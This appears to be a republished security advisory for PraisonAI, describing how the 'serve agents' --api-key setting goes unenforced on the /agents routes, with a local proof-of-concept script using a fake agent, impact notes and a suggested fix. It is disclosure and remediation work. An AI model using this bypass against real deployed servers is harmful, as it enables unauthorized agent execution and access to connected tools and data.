PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution
Summary
PraisonAI's praisonai serve agents command exposes --api-key as the documented
authentication control for production/external deployments, but the configured key is not
enforced on the public agent invocation compatibility endpoints.
An operator can start the server with --api-key and bind it to 0.0.0.0, but any network-
reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.
Confirmed vulnerable:
- v4.6.48 / commit
d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - v4.6.34 / commit
e5928449f73f66cc8af1de61621aa974ab255133
Likely affected range: >= 4.6.34, <= 4.6.48.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask
api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.
Details
The CLI accepts and forwards an API key:
src/praisonai/praisonai/cli/commands/serve.py:156definespraisonai serve agentssrc/praisonai/praisonai/cli/commands/serve.py:162exposes--api-keysrc/praisonai/praisonai/cli/commands/serve.py:175-176forwards the supplied keysrc/praisonai/praisonai/cli/features/serve.py:191handles theagentssubcommandsrc/praisonai/praisonai/cli/features/serve.py:199parsesapi_keyinto the config
However, _create_agents_app() never uses config["api_key"] to create middleware or a
FastAPI auth dependency:
src/praisonai/praisonai/cli/features/serve.py:228creates the FastAPI appsrc/praisonai/praisonai/cli/features/serve.py:287registersPOST {path}with no auth dependencysrc/praisonai/praisonai/cli/features/serve.py:346registersPOST /agents/{agent_name}with no auth dependencysrc/praisonai/praisonai/cli/features/serve.py:356-370executes the registered agent directly
The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same
server. Setting --api-key does not protect the compatibility routes.
PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It
constructs the FastAPI app through the real ServeHandler._create_agents_app() path with
api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI
TestClient.
#!/usr/bin/env python3
from __future__ import annotations
import sys
import tempfile
from pathlib import Path
REPO = Path("/path/to/PraisonAI")
sys.path[:0] = [
str(REPO / "src" / "praisonai"),
str(REPO / "src" / "praisonai-agents"),
]
class FakeAgent:
def __init__(self):
self.calls = []
def start(self, query):
self.calls.append(query)
return f"fake-agent-ran:{query}"
def main() -> None:
from fastapi.testclient import TestClient
from praisonai.cli.features.serve import ServeHandler
from praisonai.api import agent_invoke
with tempfile.TemporaryDirectory() as tmp:
agents_yaml = Path(tmp) / "agents.yaml"
agents_yaml.write_text(
"roles:\n"
" placeholder:\n"
" role: Placeholder\n"
" goal: Placeholder\n"
" backstory: Placeholder\n",
encoding="utf-8",
)
handler = ServeHandler()
app = handler._create_agents_app(
{
"file": str(agents_yaml),
"host": "0.0.0.0",
"port": 8000,
"path": "/agents",
"reload": False,
"api_key": "operator-secret-api-key",
}
)
fake_agent = FakeAgent()
agent_invoke.register_agent("poc", fake_agent)
client = TestClient(app)
response = client.post(
"/agents/poc",
json={"query": "unauthenticated request"},
)
print(f"STATUS_CODE={response.status_code}")
print(f"RESPONSE_JSON={response.json()!r}")
print(f"AGENT_CALLS={fake_agent.calls!r}")
print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
request']}")
if __name__ == "__main__":
main()
Run:
cd /path/to/PraisonAI
python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUS_CODE=200
RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
AGENT_CALLS=['unauthenticated request']
UNAUTHENTICATED_AGENT_EXECUTED=True
The important condition is that the app was configured with:
"api_key": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even
when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption;
- execution of agent workflows;
- access to connected tool integrations;
- reads/writes through file, database, cloud, browser, MCP, or messaging tools;
- availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api-
key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in
the serve agents app.
Recommended changes:
- In _create_agents_app(), derive an auth dependency from config.get("api_key").
- Apply it to both POST {path} and POST /agents/{agent_name}.
- Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for
compatibility.
- Use constant-time comparison for the expected key.
- Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
- Add tests proving:
- key configured + no header returns 401/403;
- key configured + wrong header returns 401/403;
- key configured + correct header executes;
- both /agents and /agents/{agent_name} are covered.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | praisonai | >= 4.6.34, < 4.6.58 | 4.6.58 |
Verweise
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7ww9-85pg-cv4x
- https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1
- https://github.com/MervinPraison/PraisonAI
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58
- https://pypi.org/project/praisonai
- https://github.com/advisories/GHSA-7ww9-85pg-cv4x
- https://nvd.nist.gov/vuln/detail/CVE-2026-55534
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H- Schwäche (CWE)
CWE-306- Plattform
- Python (PyPI)
- Paket
praisonai- Veröffentlicht
- 25.08.2026
- Aktualisiert
- 11.10.2026 15:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3887 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-7ww9-85pg-cv4x - CC BY 4.0
Schwachstellenhistorie: praisonai
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- Einträge insgesamt
- 104
- Erste → letzte
- 04.2026 10.2026
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PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution dieser Eintrag
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